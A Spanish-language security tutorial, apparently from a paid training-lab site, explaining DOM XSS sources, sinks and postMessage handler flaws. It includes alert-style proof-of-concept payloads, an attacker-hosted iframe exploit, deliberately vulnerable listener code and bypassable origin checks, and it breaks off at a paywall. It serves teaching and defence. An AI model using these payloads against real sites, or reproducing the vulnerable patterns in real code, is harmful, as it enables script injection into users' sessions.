Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

DOM XSS — sources, sinks y gadgets para encadenar bypass de filtros

Mapa completo de sources (location, postMessage, document.referrer, localStorage) y sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets para construir payloads no detectables.

Gorka El Bochi11 de mayo de 202616 min

Respuesta rápida

DOM XSS es client-side: el payload nunca toca el server. El flujo es source → sink con o sin gadget intermedio. Sources comunes: location.hash, postMessage, document.referrer, window.name, localStorage. Sinks ejecutables: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). Cuando no hay sink directo, los gadgets (toString coercion, jQuery addBack, lodash _.set) convierten un sink "limpio" en ejecución arbitraria.


Sources — de dónde viene el input controlado

Cualquier dato que el atacante pueda manipular sin requerir backend.

SourceManipulaciónNotas
location.hashURL fragment #payloadNo se envía al server, ideal para no dejar logs
location.search?param=payloadReflejado server-side suele dar RXSS clásico, client-side da DOM XSS
location.pathnameURL path segmentsÚtil cuando hay routers client-side (React Router)
document.referrerHeader Referer del request previoAtacante controla via página propia con link
window.namePersiste cross-origin via target.name=... antes de navegarSource clásico para CSP bypass
postMessageiframe.contentWindow.postMessage(...)Most exploited DOM XSS vector en 2026
localStorage / sessionStorageSet desde otro XSS o subdomainPersistente
IndexedDBMismo origenIdem
WebSocket messageSi la app abre WS y atacante puede inyectar mensajes (MITM, server bug)Niche
BroadcastChannelMensajes entre tabs same-originNiche
document.cookieSet desde subdomain o cookie tossingÚtil cuando hay parsing client-side

Sinks — dónde se ejecuta JavaScript

Sinks "duros" (ejecutan JS directo si meten un payload):

javascript
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);   // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput);          // jQuery
$(userInput);               // jQuery con HTML string
range.createContextualFragment(userInput);

Sinks "blandos" (necesitan que el payload tenga forma específica):

javascript
location.href = userInput;        // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput;          // <iframe src=javascript:...>
element.href = userInput;         // <a href=javascript:...>
element.action = userInput;       // <form action=javascript:...>
element.onclick = userInput;      // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput);  // si reflejado luego con innerHTML

Patrón source → sink trivial

javascript
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
php-template
https://target.com/page#<img src=x onerror=alert(1)>

Detección automática: DOM Invader (Burp), DOMSnitch (Chrome extension), o el hook manual:

javascript
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) {
    if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
      console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
    }
    origInnerHTML.set.call(this, v);
  }
});

postMessage handlers — el vector #1 de 2026

El listener window.addEventListener('message', ...) recibe datos cross-origin. Si no valida event.origin, cualquier dominio externo (iframe abierto en attacker.com con target.com framed) puede enviar payloads.

javascript
// Vulnerable
window.addEventListener('message', (e) => {
  document.getElementById('ads').innerHTML = e.data;
});

Exploit:

html
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>

Variaciones más sofisticadas

JSON message + property dispatch

javascript
window.addEventListener('message', (e) => {
  const data = JSON.parse(e.data);
  if (data.type === 'render') {
    document.getElementById(data.target).innerHTML = data.html;
  }
});

Payload:

javascript
target.contentWindow.postMessage(
  JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
  '*'
);

Origin check con .includes o regex laxo

javascript
if (e.origin.includes('target.com')) { ... }  // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... }    // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... }  // eviltarget.com pasa

Cualquier validación que no use e.origin === 'https://target.com' es bypasseable.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Dom Xss Gadgets Postmessage

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados